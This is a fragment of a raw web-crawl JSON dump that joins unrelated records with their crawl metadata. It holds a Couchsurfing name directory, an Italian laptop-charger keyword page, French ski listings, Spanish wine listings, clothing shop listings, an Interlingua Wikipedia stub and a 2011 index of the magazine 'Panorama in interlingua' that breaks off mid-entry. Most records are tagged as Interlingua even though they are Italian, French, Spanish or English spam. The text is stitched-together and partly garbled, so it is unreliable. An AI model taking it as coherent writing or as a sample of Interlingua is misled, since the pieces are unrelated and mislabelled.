Floch||Laura Leal|\n|Laura Le Floch||Laura Leal|\n|Laura Le Flohic||Laura Leal|\n|laura le friec||Laura Leal|\n|Laura Le Gac||Laura Leal|\n|Laura Le Gal||Laura Leal|\n|Laura Le Gall||Laura Leal|\n|Laura Le Gallou||Laura Leal|\n|Laura Le Goff||Laura Leal|\n|Laura Le Goff||Laura Leal|","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.couchsurfing.com\/directory\/L-11-30","date":"2018-06-21T12:44:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864148.93\/warc\/CC-MAIN-20180621114153-20180621134153-00624.warc.gz","language":"ina","language_score":0.3408695459,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3408695459365845, \"sot_Latn_score\": 0.24877317249774933, \"nap_Latn_score\": 0.07755168527364731, \"scn_Latn_score\": 0.04283572733402252, \"smo_Latn_score\": 0.036039087921381, \"vec_Latn_score\": 0.03228739649057388, \"kiu_Latn_score\": 0.024446459487080574, \"nrm_Latn_score\": 0.021634472534060478, \"fra_Latn_score\": 0.020134899765253067, \"oci_Latn_score\": 0.019850954413414, \"srd_Latn_score\": 0.018398260697722435, \"ita_Latn_score\": 0.013512023724615574, \"qvz_Latn_score\": 0.0116251977160573, \"pms_Latn_score\": 0.010034122504293919}","num_words":522,"character_repetition_ratio":0.247,"word_repetition_ratio":0.043,"special_characters_ratio":0.279,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.723,"perplexity_score":24775.8,"cluster_detection":-1} +{"text":"alimentatore mac pro alimentatore magsafe da 60w macbook e macbook pro 13\nalimentatore mac pro alimentatore 60w dedicato per notebook apple macbook\nalimentatore mac pro alimentatore compatibile per apple macbook pro o air la\nalimentatore mac pro alimentatore apple macbook pro alimentatori per\nalimentatore mac pro alimentatore magsafe 2 da 60w macbook pro 13 quot retina i\nalimentatore mac pro alimentatore apple macbook pro alimentatori per\nalimentatore mac pro alimentatore apple macbook pro retina alimentatori per\nalimentatore mac pro alimentatore magsafe 2 da 85w macbook pro 15 quot retina i\nalimentatore mac pro alimentatore per apple macbook 13 quot e macbook pro 13 quot 60w\nalimentatore mac pro apple alimentatore macbook pro retina 15 quot mediaworld it\nalimentatore mac pro alimentatore magsafe per apple da 60 watt per macbook e\nalimentatore mac pro alimentatore magsafe 2 da 85w macbook pro 15 quot retina i\nalimentatore mac pro alimentatore per apple macbook da 45w\nalimentatore mac pro alimentatore macbook tutte le offerte cascare a fagiolo\nalimentatore mac pro alimentatore 87w per macbook caricabatterie connettore\nalimentatore mac pro alimentatore magsafe 60w per apple macbook pro\nalimentatore mac pro carte magsafe chargeur macbook pro 15 quot a1226 ebay\nalimentatore mac pro c 226 ble nappe carte magsafe macbook pro 15 quot a1226 ebay\nalimentatore mac pro magsafe 1 caricabatterie da 85w per apple macbook pro 15\nalimentatore mac pro remplacement carte connecteur chargeur magsafe pour\nalimentatore mac pro macbook pro 13 quot 15 quot unibody 2009 2010 2011 2012 dc magsafe\nalimentatore mac pro alimentation macbook pro 85w vng informatique\nalimentatore mac pro macbook pro retina usato clasf\nalimentatore mac pro alimentatore apple macbook pro retina 15 me293xx a me294xx\nalimentatore mac pro alimentation adaptateur secteur magsafe 85 w macbook\nalimentatore mac pro charging connector dc in magsafe macbook pro 820 2361 a\nalimentatore mac pro apple alimentatori pc alimentatore 85w per macbook pro\nalimentatore mac pro alimentation pour apple macbook macbook pro a1184 16","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/winterbottomhomes.com\/alimentatore-mac-pro.html","date":"2018-07-19T04:17:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676590493.28\/warc\/CC-MAIN-20180719031742-20180719051742-00251.warc.gz","language":"ina","language_score":0.5708343983,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.5708343982696533, \"ita_Latn_score\": 0.06972841173410416, \"srd_Latn_score\": 0.0654226690530777, \"ile_Latn_score\": 0.06233762577176094, \"lat_Latn_score\": 0.04551108181476593, \"kmg_Latn_score\": 0.035882458090782166, \"eus_Latn_score\": 0.029102018103003502, \"eng_Latn_score\": 0.027371158823370934, \"dag_Latn_score\": 0.014647131785750389, \"ben_Latn_score\": 0.014470013789832592}","num_words":590,"character_repetition_ratio":0.373,"word_repetition_ratio":0.27,"special_characters_ratio":0.203,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":0.571,"perplexity_score":8887.3,"cluster_detection":-1} +{"text":"Chaussure de ski occasion junior tecno pro T50 noir rouge\nSki occasion junior Tecnopro XT Flyte + fixations\nSki occasion junior Tecno pro Looney Tunes Active Snow + fixations\nSki occasion Tecnopro RPX 540 + fixations\nSki occasion Tecnopro XT Flyte + fixations\nSki occasion junior Tecno pro Missty + fixations.\nSki occasion Tecnopro XT Flyte + fixations\nSki occasion junior Tecno pro Looney Tunes Active + fixations\nSki occasion junior Tecno pro paddy + fixations.\nSki junior Tecno pro Pulse Team occasion + fixations\nSki junior Tecno pro Sweety + fixations\nChaussure ski fond occasion Tecnopro safine sonic pro\nSki occasion junior Techno pro Looney tunes active + fixations\nSki occasion Tecnopro Safine Trinity gris or + fixations\nChaussure de ski occasion junior tecno pro T40\nSki occasion junior Tecno pro XT Girl + fixations\nSki occasion Tecnopro XT Flyte + fixations\nSki occasion Tecnopro Prospect + fixations\nSki occasion junior Tecno pro XT team + fixations\nSki junior Tecnopro planes occasion + fixations\nSki occasion junior Techno pro Sweety + fixations\nSki occasion junior Tecno pro Looney Tunes snow + fixations\nSki occasion junior Tecno pro paddy + fixations\nSki occasion Tecnopro Safine Candy + fixations","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/freeglisse.com\/fr\/153_tecnopro","date":"2019-10-21T00:27:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987750110.78\/warc\/CC-MAIN-20191020233245-20191021020745-00318.warc.gz","language":"ina","language_score":0.7001977563,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7001977562904358, \"wol_Latn_score\": 0.07959160953760147, \"ile_Latn_score\": 0.04598361253738403, \"eng_Latn_score\": 0.02700238674879074, \"swe_Latn_score\": 0.023092903196811676, \"pol_Latn_score\": 0.013605063781142235, \"vec_Latn_score\": 0.013274487107992172}","num_words":354,"character_repetition_ratio":0.293,"word_repetition_ratio":0.328,"special_characters_ratio":0.187,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.797,"perplexity_score":10047.2,"cluster_detection":-1} +{"text":"Fin del Mundo Reserva\nFin del Mundo Reserva\nMostrando todos los resultados (11)\n-\nDel Fin del Mundo Fin del Mundo Reserva Chardonnay\/78$96.00 Fin del Mundo Reserva\nChardonnay-2010 Añadir al carrito\n-\nDel Fin del Mundo Fin del Mundo Reserva Blend\/82$95.00 Fin del Mundo Reserva\nBlend-2007 Añadir al carrito\n-\nDel Fin del Mundo Fin del Mundo Reserva Chardonnay\/4267$92.00 Fin del Mundo Reserva\nChardonnay-2015 Añadir al carrito\n-\nDel Fin del Mundo Fin del Mundo Reserva Merlot\/4130$91.00 Fin del Mundo Reserva\nMerlot-2014 Añadir al carrito\n-\nDel Fin del Mundo Fin del Mundo Reserva Malbec\/5583$90.50 Fin del Mundo Reserva\nMalbec-2016 Añadir al carrito\n-\nDel Fin del Mundo Fin del Mundo Reserva Pinot Noir\/617$90.50 Fin del Mundo Reserva\nPinot Noir-2011 Añadir al carrito\n-\nDel Fin del Mundo Fin del Mundo Reserva Chardonnay\/79$90.00 Fin del Mundo Reserva\nChardonnay-2014 Añadir al carrito\n-\nDel Fin del Mundo Fin del Mundo Reserva Merlot\/4103$89.00 Fin del Mundo Reserva\nMerlot-2013 Añadir al carrito\n-\nDel Fin del Mundo Fin del Mundo Reserva Pinot Noir\/81$87.00 Fin del Mundo Reserva\nPinot Noir-2013 Añadir al carrito\n-\nDel Fin del Mundo Fin del Mundo Reserva Viognier\/80$87.00 Fin del Mundo Reserva\nViognier-2010 Añadir al carrito\n-\nDel Fin del Mundo Fin del Mundo Reserva Blend\/406$86.50 Fin del Mundo Reserva\nBlend Añadir al carrito","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/vinomanos.com\/marca\/fin-del-mundo-reserva\/","date":"2020-01-27T09:43:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251696046.73\/warc\/CC-MAIN-20200127081933-20200127111933-00172.warc.gz","language":"ina","language_score":0.4978224337,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.49782243371009827, \"spa_Latn_score\": 0.09807117283344269, \"vec_Latn_score\": 0.055223822593688965, \"ile_Latn_score\": 0.053392503410577774, \"kiu_Latn_score\": 0.03199741989374161, \"nov_Latn_score\": 0.027542229741811752, \"ita_Latn_score\": 0.018315577879548073, \"swe_Latn_score\": 0.01587706059217453, \"slv_Latn_score\": 0.013848713599145412, \"arg_Latn_score\": 0.011974471621215343, \"tzh_Latn_score\": 0.011260615661740303, \"crh_Latn_score\": 0.011035077273845673, \"sco_Latn_score\": 0.010802085511386395, \"pap_Latn_score\": 0.010450681671500206, \"lmo_Latn_score\": 0.010440281592309475}","num_words":277,"character_repetition_ratio":0.352,"word_repetition_ratio":0.784,"special_characters_ratio":0.291,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":0.473,"perplexity_score":5988.0,"cluster_detection":-1} +{"text":"Olea de Boedo\n|Olea de Boedo|\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Population||37|\n|Area||8 km²|\n|Situate in||Provincia Palencia|\n|Altitude||930 m|\n|Coordinatas||42°36'32\"N, 4°26'59\"W|\n|Geonames ID||6360069|\n|Sito web: http:\/\/oleadeboedo.dip-palencia.es|\n|Wikimedia Commons Category|\nOlea de Boedo\nOlea de Boedo es un municipalitate que se trova in le provincia de Palentia, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ia.wikipedia.org\/wiki\/Olea_de_Boedo","date":"2023-04-02T05:52:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950383.8\/warc\/CC-MAIN-20230402043600-20230402073600-00532.warc.gz","language":"ina","language_score":0.5545486212,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5545486211776733, \"glg_Latn_score\": 0.06355393677949905, \"sco_Latn_score\": 0.053604912012815475, \"vec_Latn_score\": 0.04383368417620659, \"nov_Latn_score\": 0.029268315061926842, \"lat_Latn_score\": 0.017849015071988106, \"sot_Latn_score\": 0.017346728593111038, \"dag_Latn_score\": 0.011890013702213764, \"atj_Latn_score\": 0.010327045805752277}","num_words":108,"character_repetition_ratio":0.078,"word_repetition_ratio":0.081,"special_characters_ratio":0.298,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.512,"perplexity_score":2359.6,"cluster_detection":-1} +{"text":"Le Bone Shoppe Vintage Fille Tee Clean White\n$99.95\nLe Bone Shoppe Vintage Fille Tee Corn\nLe Bon Shoppe Girlfriend Socks Parisian\n$24.95\nLe Bon Her Socks Dijon\nLe Bon Shoppe Her Socks Classic Red\nLe Bon Shoppe Her Socks Electric Blue\nLe Bon Shoppe La Vie Tee White Vintage\n$109.00\nLe Bon Shoppe Her Socks Saphire Glitter\n$29.95\nLe Bon Shoppe Her Socks Champagne Glitter\nLe Bon Shoppe Girlfriend Socks Mahogany\nLe Bon Shoppe Her Socks Midnight\nLe Bon Her Socks Desert Rose\n$19.95\nLe Bon Her Socks Peacock\nLe Bon Her Socks Porcelain\nLe Bon Her Socks Terracotta\nLe Bon Shoppe Naturelle Tee in Alabaster\n$105.00\nSold Out\nLe Bon Her Socks Peanut Butter\n$19.95\nSold Out\nLe Bon Girlfriend Socks Bellini\nLe Bon Jeanne Tee Alabaster\n$89.00\nSold Out\nLe Bon Jeanne Tee Tobacco\nLe Bon Her Socks Pine Glitter\nLe Bon Her Socks Coffee\nLe Bon Shoppe Her Socks Kelly Green\nLe Bon Shoppe Vintage Boy Tee Royal Blue\n$79.00\nSold Out\nLe Bon Shoppe Trouser Sock- Blue Bell\n$22.00\nLe Bon Shoppe Her Tee Bone\n$79.00\nLe Bon Shoppe Her Tee Worn in Black","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.milchomewares.com\/collections\/le-bon-shoppe","date":"2023-03-24T22:53:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945289.9\/warc\/CC-MAIN-20230324211121-20230325001121-00466.warc.gz","language":"ina","language_score":0.7183347344,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.7183347344398499, \"ita_Latn_score\": 0.07273507118225098, \"fra_Latn_score\": 0.03577014058828354, \"pcm_Latn_score\": 0.03399006649851799, \"eng_Latn_score\": 0.018584035336971283, \"jam_Latn_score\": 0.01408566627651453, \"hat_Latn_score\": 0.013667003251612186, \"nap_Latn_score\": 0.010351342149078846, \"nrm_Latn_score\": 0.010049531236290932}","num_words":285,"character_repetition_ratio":0.228,"word_repetition_ratio":0.007,"special_characters_ratio":0.25,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":0.206,"perplexity_score":13986.2,"cluster_detection":-1} +{"text":"- Pagina principal\n- UMI e interlingua\n- Interlingua pro juniores\n- Libros e litteratura\n- Panorama\n- Servicio de Libros UMI\n- Litteratura in interlingua\n- Dictionarios e cursos\n- interlingua\n- anglese\n- catalano\n- chinese\n- danese\n- espaniol\n- francese\n- germano\n- italiano\n- lituano\n- norvegiano\n- portugese\n- turco\n- Facile a leger in interlingua\n- Grammatica de interlingua\n- Inseniamento\n- Bibliotheca electronic\n- Almanac de interlingua\n- Angulo linguistic\n- Practica interlingua!\n- Films\n- Radio Interlingua\n- Ligamines\n- Mappa del sito\nPanorama in interlingua - indice 2011\n2011-02-21 12:07 Historia\nIste indice monstra le contento del magazin Panorama in interlingua (ISSN 0903-2932) edition post edition.\n\n\nNo. 1\/2011, januario-februario\n|1||Conferentia de interlingua in Bulgaria||Invita tote le familia al citate popular in le montes sud-bulgare, Chepelare, pro un septimana in le mundo de interlingua le 23-30 de julio 2011. Benvenite al 19ne conferentia!||Copertura|\n|1||Interlingua celebra 60 annos||In 1951 esseva publicate le prime obra in interlingua. In 2011 interlingua celbra su 60esime anniversario con vitalitate e grande supporto – e plus besoniate que jammais in le enorme communication international. Panorama celebra le jubileo durante tote le anno e presenta un publication historic al lectores.||Copertura|\n|1||Presidente: Supporta le multe planos||Le presidente del UMI demanda omnes esser active in 2011 pro supportar interlingua.||Copertura|\n|1||Section international||Le UMI ha establite un section international pro membros in paises que es ancora sin un organisation national de interlingua.||Copertura|\n|2||Benvenite al montes in Bulgaria in julio!||Breinstrup, Thomas||Editorial|\n|3+4||Bulgaria organisa le conferentia le plus alte de interlingua||Le citate con le plus grande numero de dies con sol invita a un conferentia international in le montes con temperaturas agradabile in julio 2011.||Breinstrup, Thomas||19ne Conferentia International de Interlingua|\n|5||Inscription aperite||Th.||19ne Conferentia International de Interlingua|\n|5||Le historia del conferentias||19ne Conferentia International de Interlingua|\n|5||Programma sub elaboration||19ne Conferentia International de Interlingua|\n|6+7||Supporta le multe planos pro interlingua in 2011||Frank, Sven||Novas de interlingua|\n|8+9||Linux parla sempre plus interlingua||Le prime partes del concurrente gratuite a Windows o Mac es ja preste in interlingua, ma multe labor remane ante que tote le systema se presenta in interlingua. Le organisator spera trovar assistentes.||Breinstrup, Thomas||Novas de interlingua|\n|10+11||Interlingua celebra 60 annos in 2011||Interlingua es hodie in plen vita.||Breinstrup, Thomas||Novas de interlingua|\n|11||Del historia de interlingua||Th.||Novas de interlingua|\n|12||Cinque linguas in ordine||Th.||Nota|\n|12||Ferrovia aperite post 18 annos||Th.||Nota|\n|12||Codices mysteriose in Mona Lisa||Th.||Nota|\n|12||Cambios de climate menacia le historia||Monumentos historic dispare sub le sablo o submerge in le aqua.||Breinstrup, Thomas||Nova|\n|13||Extra pro abonatos||Schizzo de labor pro interlingua – Elephantes sur le schermo – Duo novellas original||Extra|\n|14||Fundation de supporto salvate||Novas de interlingua|\n|14||Fiction entra in le Almanac||Novas de interlingua|\n|14||Mini-curso de interlingua continua||Novas de interlingua|\n|14||Nove anno con Radio Interlingua||Novas de interlingua|\n|14||Necrologia in Panorama republicate||Novas de interlingua|\n|15||Le UMI establi un section international||Le UMI establi un Section International pro omnes, qui habita in paises que non ancora ha proprie organisationes de interlingua.||Breinstrup, Thomas||Novas de interlingua|\n|16||Elephante african es duo species||Recercatores trova le provas que le elephante del savanna es differente de illo del foreste.||Breinstrup, Thomas||Scientia|\n|17||Manos sinistre sur picturas frauda||Mesmo si on vide plus de manos sinistre sur ancian picturas, le dextralitate esseva plus general.||Beq||Scientia|\n|17||Acupunctura effecitve||Nota|\n|17||Forestes supervive||Nota|\n|17||Utensile vetulissime||Nota|\n|17||Signal protege cimices||Nota|\n|18||Labyrintho||passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|19||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Clave al commercio||Brian C. Sexton: \"English-Interlingua Commercial Dictionary\"||Th.||Libros|\n|21||Manuscripto encyclopedic publicate||Libros|\n|21||Nove publicationes in interlingua||Libros|\n|22+23||Un sonio||Kafka, Franz||Litteratura|\n|23||Neptuno||Kafka, Franz||Litteratura|\n|24||Manuscripto de da Vinci trovate||Th.||Le mundo actual|\n|24||Nepotes o non||Beq||Le mundo actual|\n|24||Le SUA vende le plus de armas||Beq||Le mundo actual|\n|24||Insectos sur le menu, per favor||Beq||Le mundo actual|\n|25||Autismo hereditate||Beq||Le mundo actual|\n|25||Color de pelle e compassion||Beq||Le mundo actual|\n|25||Modification de genes disturba||Beq||Le mundo actual|\n|25||Contacto corporal tranquillisa||Beq||Le mundo actual|\n|25||Ranas aggressive vibra||Beq||Le mundo actual|\n|26||Irritante parolas burlante||Breinstrup, Thomas||Le parolas del mense|\n|26||Memora le dies||Breinstrup, Thomas||Le parolas del mense|\n|26||Amusante sonos||Breinstrup, Thomas||Le parolas del mense|\n|26||Un error frequente||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Martijn Dekker||Novas de nomines|\n|28||Almanac de Interlingua||Novas de nomines|\n|28||Richard W. Sorfleet||Novas de nomines|\n|28||Carlos Soreto||Novas de nomines|\n|28||Que es interlingua? - Como contribuer||Interlingua|\n\n\nNo. 2\/2011, martio-april\n|1||Invitation: Veni ante le 1 de maio||Ultime chance pro inscriber se al 19ne conferentia de interlingua in le belle Bulgaria in julio 2011 – e ir al examine de interlingua?||Copertura|\n|1||Serengeti salvate||Supporto mundial pro salvar plana extraordinari contra nove strata.||Copertura|\n|1||Extra||Libretto historic pro celebrar le 60esime anniversario de interlingua.||Copertura|\n|1||Un viage in le corde de America del Sud||Le correspondente del Panorama viagiava 5.000 km in un continente fascinante pro discoperir le realitate.||Copertura|\n|1||Discovery pensionate post 27 annos||Le famose nave spatial american ha finite su ultime volo e es in via al museo.||Copertura|\n|1||Novas de interlingua||Tres paginas con le novas le plus recente.||Copertura|\n|1||Tempore e intervallo||Copertura|\n|1||Labyrintho e quiz||Gymnastica pro le cerebro.||Copertura|\n|1||Conto classic||Lege \"Petrosinella\".||Copertura|\n|2||Esque nos nos revidera in julio?||Breinstrup, Thomas||Editorial|\n|3||Inscription possibile usque le 1 de maio||Le 19ne conferentia de interlingua in julio 2011 in Bulgaria ancora accepta participantes. Excursiones e programma es sub preparation.||Breinstrup, Thomas||19ne Conferentia International de Interlingua|\n|4||Discovery pensionate post 27 annos||Le famose nave spatial american ha finite su ultime volo e es in via al museo.||Breinstrup, Thomas||Nova|\n|4||Famose urso polar moriva in zoo||Th.||Nova|\n|5||Criticate parlamento diminue le viages||Le Parlamento Europee non plus va viagiar inter Belgica e Francia omne mense.||Breinstrup, Thomas||Nova|\n|5||Disputa del Nilo continua||Th.||Nota|\n|5||Regina removite||Th.||Nota|\n|5||Codices de scriptura identificate||Th.||Nota|\n|6||Linguas materne es menaciate||E.A.||Nota|\n|6||Finlandia discute ministro lingual||Th.||Nota|\n|6||Daneses non fer de lingua||Th.||Nota|\n|6||Tenor honorate a 100 annos||Beq||Nova|\n|7||UMI – le parapluvia mundial de interlingua||Representantes e representationes in cinque continentes labora pro diffunder interlingua e le uso active de illo.||Th.||Novas de interlingua|\n|8||Firma commercial in interlingua||Novas de interlingua|\n|8||Indice de Panorama 2007-2011||Novas de interlingua|\n|9||Un pagina extra a omnes||Novas de interlingua|\n|9||Concertos estive in interlingua||Novas de interlingua|\n|9||Café Interlingua in le primavera||Novas de interlingua|\n|9||Extra pro abonatos||Parve perla litterari de 1955 – Controla le percentages||Extra|\n|10||50 editiones de Contacto||Novas de interlingua|\n|10||Presidente cambia adresse||Novas de interlingua|\n|10||Nove sito francese in Internet||Novas de interlingua|\n|10||Union german in Internet||Novas de interlingua|\n|10||Emission no. 30 de Radio Interlingua||Novas de interlingua|\n|11||Labyrintho||passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|12+13+14+15||In le corde de America del Sud||Un curte viage de cinque mille kilometros revela que nihil es plus real que le realitate fascinante.||Rinaldi, Cláudio||Viages|\n|16+17||Supporto mundial pro salvar Serengeti||Le Banca Mundial vole financiar nove stratas assi que illo non causa damno al animales salvage in le plana famose.||Breinstrup, Thomas||Scientia|\n|16||Fauna african in periculo a causa del chassa animal||Chassa contra animales salvage un menacia pro le fauna de Africa.||E.A.||Scientia|\n|17||Natura sacrificate||Beq||Nota|\n|17||Plus de tigres in India||Th.||Nota|\n|17||Fumo es immediatemente periculose||Beq||Nota|\n|17||Fumar passive es nocive||Beq||Nota|\n|18||Rar rhinocerote nigre assassinate||Chassatores furtive fusilava un del animales rar, mesmo si illo portava un chip electronic e esseva specialmente protegite.||Breinstrup, Thomas||Scientia|\n|19||Sempre plus de personas es adipose||Grande augmentation de personas troppo pesante. In le SUA solmente, le numero ha duplicate durante 28 annos.||Beq||Scientia|\n|19||Toxico in pyrotechnica||Beq||Nota|\n|19||Sacchettos debe disparer||Beq||Nota|\n|20||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Interlingua practic||Traduction per Wikipedia||Th.||Interlingua in practica|\n|21||Traduction del Biblia progrede||Libros|\n|21||Dictionario de interlingua progrede||Libros|\n|21||Nove publicationes in interlingua||Libros|\n|22+23||Petrosinella||Traduction: Onofrio Notarstefano||Basile, Giambattista||Litteratura|\n|24||Razzia contra carne salvage||Beq||Le mundo actual|\n|24||Putin ha trovate su tumba||Th.||Le mundo actual|\n|24||Nove antiferrugine||Beq||Le mundo actual|\n|24||Grandines enorme||Beq||Le mundo actual|\n|24||Casco con odor pro bicyclistas||Beq||Le mundo actual|\n|25||Nettar confortabilemente||Beq||Le mundo actual|\n|25||Tourismo spatial menacia||Beq||Le mundo actual|\n|25||Portugeses ama sol e vento||Beq||Le mundo actual|\n|25||Gibbon con naso inverse||Beq||Le mundo actual|\n|25||Le \"conquistador\" habeva ration||Beq||Le mundo actual|\n|26||Intervallos||Breinstrup, Thomas||Le parolas del mense|\n|26||Indication del tempore||Breinstrup, Thomas||Le parolas del mense|\n|26||Super temperaturas||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||James M. Buchanan||Novas de nomines|\n|28||Leland B. Yeager||Novas de nomines|\n|28||Almanac de Interlingua||Novas de nomines|\n|28||Gunnar Ljusterdal||Novas de nomines|\n|28||Que es interlingua? - Como contribuer||Interlingua|\n\n\nNo. 3\/2011, maio-junio\n|1||Conferentia con creativitate commun||Le 19ne conferentia de interlingua in Bulgaria in julio deveni un officina laborante, ubi le participantes crea resultatos immediate. Vide le programma del conferentia – e invia un salute.||Copertura|\n|1||Chineses contate||Quasi le medietate vive in urbes.||Copertura|\n|1||Extra: Le prime Panorama de 1988.||Copertura|\n|1||Turre oblique retro||Sta de novo como in 1838.||Copertura|\n|1||Tigres retorna a Asia||Animales liberate in natura.||Copertura|\n|1||Duo perditas pro interlngua||Le collaboratores active, Ferenc Jeszenszky de Hungaria e Pierre Humbert de Francia, ha morite.||Copertura|\n|1||Labyrintho e quiz||Gymnastica pro le cerebro.||Copertura|\n|1||In alto e in basso...||... es le parolas del mense.||Copertura|\n|2||Experientias exceptional – sin exception||Breinstrup, Thomas||Editorial|\n|3||Le Turre Oblique es – quasi – recte||Octo annos de labor ha trahite le turre retro in le position que illo habeva in 1838.||Breinstrup, Thomas||Nova|\n|3||Tresores reappare mysteriosemente||Artefactos furate durante le revoltas contra Hosni Mubarak reappare.||Th.||Nova|\n|4+5||Le conferentia deveni officina laborante||Creativitate in commun debe crear resultatos immediate durante le 19ne conferentia international de interlingua in Bulgaria in julio 2011.||Breinstrup, Thomas||19ne Conferentia International de Interlingua|\n|5||Notas e novas conferential||Radioactivitate – Interlingua 60 annos – Internet – Resolutiones – Libretto conferential – Films, per favor||19ne Conferentia International de Interlingua|\n|6||Punctos del programma||Ecce un summario del contento del septimana conferential in julio.||19ne Conferentia International de Interlingua|\n|6||Invia un salute al conferentia||19ne Conferentia International de Interlingua|\n|7||Politica agricultural da mal concurrentia||Le politica agricultural del Union Europee causa un situation de concurrentia que es disastrose a fermeros jam povre in le paises de disveloppamento.||Adamsson, Evert||Nova|\n|7||Production mundial de ris cresce||Th.||Nota|\n|7||Plus grande hereditage mundial||Th.||Nota|\n|7||Nationalistas gania in Scotia||Th.||Nota|\n|8||Exportation de grano permittite||Th.||Nota|\n|8||Tortas in vice de bombas||Th.||Nota|\n|8||Botecas micre in periculo||Beq||Nota|\n|8||Ursos del cavernas cambia le historia||Restos de animales confirma que caverna trovate in 1994 es plus ancian que famose caverna in Lascaux.||Breinstrup, Thomas||Nova|\n|9||1.370.536.875 chineses contate||Quasi le medietate vive in urbes.||Breinstrup, Thomas||Nova|\n|9||Bon estate con interlingua||Prepara tu vacantias in bon tempore.||Annuncio|\n|10+11||Un maestro de interlingua moriva||Necrologia: Ferenc Jeszenszky||Breinstrup, Thomas + Kovács, Péter||Necrologia|\n|11||Le chronichista non es plus||Necrologia: Pierre Humbert||Breinstrup, Thomas||Necrologia|\n|12||Jubileo pro vesperes de interlingua||Novas de interlingua|\n|12||Cartas nordic pro studiar interlingua||Novas de interlingua|\n|12||Interlingua in Club Rotary||Novas de interlingua|\n|12||Grande mention de anniversario||Novas de interlingua|\n|13||Film de interlingua es popular||Novas de interlingua|\n|13||Interlingua in le scholas adjuta||Novas de interlingua|\n|13||Extra pro abonatos||Duo fabulas argentin – Le prime Panorama de 1988||Extra|\n|14||Labyrintho||passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|15||Quiz in interlingua||Madsen, W.||Quiz|\n|15||Interlingua practic||T-shirt con reclamo||Th.||Interlingua in practica|\n|16||Tigres salvage retorna a Asia||Kazakhstan vole liberar tigres russe a in le natura pro assister in duplicar lor numero ante 2022.||Breinstrup, Thomas||Scientia|\n|16||Plus bon vista a omne distantias||Nove typo de berillos da acuitate perfecte de 33 cm al horizonte.||E.A.||Scientia|\n|17||Libros de metallo – sensation o truc||Expertos discute nove trovata.||Th.||Scientia|\n|17||Quitar le nido||Beq||Nota|\n|17||Minus de victimas de guerra||Beq||Nota|\n|17||4G in Israel||Beq||Nota|\n|17||Tracias de sanguine e etate||Beq||Nota|\n|18||Egypto reclama obelisco||Le autoritates egyptie lamenta que un obelisco in Nove York non ha essite ben conservate e menacia reclamar lo a Egypto.||Breinstrup, Thomas||Scientia|\n|19||Calor estive pone record mundial||Le estate de 2010 le plus calide.||Beq||Scientia|\n|19||Plus bon que digitos||Beq||Nota|\n|19||Antibiotico es ancian||Beq||Nota|\n|19||Chili contra hypertonia||Beq||Nota|\n|20||Libro economic con texto in interlingua||\"Is the Market a Test of Truth and Beauty?\"||Th.||Libros|\n|20||Minihistoria monetari in bibliotheca digital||Cláudio Rinaldi: \"Minihistoria monetari: Del Roma ancian al globalisation\"||Th.||Libros|\n|21||Dictionario de interlingua cresce||Th.||Libros|\n|21||Nove publicationes in interlingua||Libros|\n|21||Grande selection, qualitate alte, precios basse||Servicio de Libros UMI||Annuncio|\n|22+23||Testimonio de un pendimento||Traduction: Onofrio Notarstefano||Bierce, Ambrose||Litteratura|\n|23||Le familia Eric||Enfors, Erik||Litteratura|\n|24||Sex in 3D popular||Th.||Le mundo actual|\n|24||Amor vetule ceca||Beq||Le mundo actual|\n|24||Papiliones e electricitate||Beq||Le mundo actual|\n|24||Suicidio e altitude||Beq||Le mundo actual|\n|24||Mona Lisa original cercate||Th.||Le mundo actual|\n|24||Lumine disinfectante||Beq||Le mundo actual|\n|25||Candelas pro le ambiente||Beq||Le mundo actual|\n|25||Amicos e ver amicos||Beq||Le mundo actual|\n|25||Reguarda le bracio, non le agulia||Beq||Le mundo actual|\n|25||Brasiliano es le plus vetere||Th.||Le mundo actual|\n|25||Attitude a religion varia||Beq||Le mundo actual|\n|25||Texto multo ancian trovate||Th.||Le mundo actual|\n|26||In alto e in basso – e le directiones||Breinstrup, Thomas||Le parolas del mense|\n|26||Qui es le hospite – e le hospite?||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Louise Delnoy-Sijstermans||Novas de nomines|\n|28||Gunaino Enqvist||Novas de nomines|\n|28||Que es interlingua? - 